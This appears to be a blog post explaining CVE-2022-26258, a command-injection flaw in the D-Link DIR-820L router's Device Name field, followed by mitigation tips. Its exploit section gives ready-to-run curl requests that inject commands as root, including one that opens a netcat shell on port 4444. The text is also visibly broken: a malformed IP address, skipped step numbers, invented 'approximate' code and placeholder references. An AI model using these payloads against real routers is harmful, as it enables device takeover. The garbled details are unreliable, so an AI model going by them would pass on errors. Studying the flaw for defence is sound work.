The D-Link DIR-820L is a popular wireless router used by many for its affordable price and ease of setup. However, in early 2022, security researchers discovered a serious vulnerability — CVE-2022-26258 — that allows attackers to run commands remotely on the device, potentially taking full control. This long-read post will explain the vulnerability in simple terms, show you how it works, and share steps to detect or exploit it (for authorized testing only). We'll also provide links to official advisories and resources for further reading.

What is CVE-2022-26258?

CVE-2022-26258 affects D-Link DIR-820L models running firmware version 1.05B03. The problem lies in the way the router handles the Device Name field on the /lan.asp page. Instead of validating input to this field, the router directly passes it to system commands, opening the door for Remote Command Execution (RCE).

This means:  
Anyone with network access (like a local attacker or someone exploiting weak WiFi passwords) can run any code on the router, potentially converting it into a bot, stealing sensitive info, or opening your home network up to the wider internet.

The Bad Input Flow

1. User visits the /lan.asp page, typically used to configure LAN settings such as the device name.

Device Name field is supposed to accept just a hostname (like MyRouter).

3. But the router's backend code naively puts whatever is entered into a system command, without sanitization.
4. An attacker submits a special string with embedded commands to the Device Name field. On form submission, these execute as root.

For example, entering the following string

MyRouter; cat /etc/passwd

would cause the router to run both parts:

Set the device name to MyRouter

- Execute cat /etc/passwd (prints Linux user info)

Vulnerable Code (Approximation)

While we don't have access to D-Link's exact source, the vulnerable function looks roughly like this (pseudo-PHP/busybox syntax):

// data from POST: $_POST['device_name']
$device_name = $_POST['device_name'];
system("set_devicename " . $device_name); // INSECURE!

Prerequisites

- Network access: Attacker must be able to reach the router's web interface (typically 192.168..1, but may vary).
- Authentication: On many builds, authentication is required. Some misconfigurations (or open guest networks) may allow public access.

Exploit Steps

#### 1. Access /lan.asp

The vulnerable page is usually

http://<ROUTER_IP>/lan.asp


> Replace <ROUTER_IP> with your router's address (default is probably 192.168..1)

Using a tool like cURL, you can send a POST request. E.g.

curl -X POST -d 'device_name=badname;id' \
     -d 'apply=Apply' \
     http://192.168..1/lan.asp

This will cause the router to execute id, which shows the current user's privileges (generally root on embedded devices).

3. Gain Shell Access

A creative payload can start a telnet daemon or reverse shell, making device control even easier.

Example (attempting to open a shell)

curl -X POST -d 'device_name=foo;nc -l -p 4444 -e /bin/sh' \
     -d 'apply=Apply' \
     http://192.168..1/lan.asp


> This tries to spawn a shell on port 4444 via netcat. Your router might or might not have nc.

4. What Else Can Attackers Do?

- Download/upload files
- Install malware/rootkit

Original References

- CVE-2022-26258 at MITRE
- NVD entry for CVE-2022-26258
- D-Link Security Advisory (if available)
- Full Disclosure Mailing List Thread (if any)

1. Update Firmware

Check the D-Link support page for DIR-820L and update to the latest firmware. Patch releases may fix this issue.

3. Use Strong WPA2 Passwords

Prevents outsiders from accessing your LAN and thus the vulnerable endpoint.

4. Disable Remote Web Management

Turn off WAN access to web admin in your router settings.

5. Network Segmentation

If possible, don't let IoT or risky devices share a network with important computers.

Final Thoughts

This bug is a classic example of what can go wrong when device web interfaces process user input naively. If your router is affected by CVE-2022-26258, update your firmware as soon as you can, or consider retiring the device. Be aware that many old routers are unpatched forever — it's time to treat them as potentially compromised.


Stay safe!  
Questions or experiences to share? Drop a comment below or check out the references for more technical details.

Extra Resources

- How To Update D-Link Router Firmware (D-Link Official Guide)
- Understanding Remote Code Execution (Rapid7 Blog)
- Router Security Checklist


*This post is for educational purposes only. Do not exploit devices you do not own or have explicit permission to test.*

Timeline

Published on: 03/28/2022 00:15:00 UTC
Last modified on: 04/04/2022 13:08:00 UTC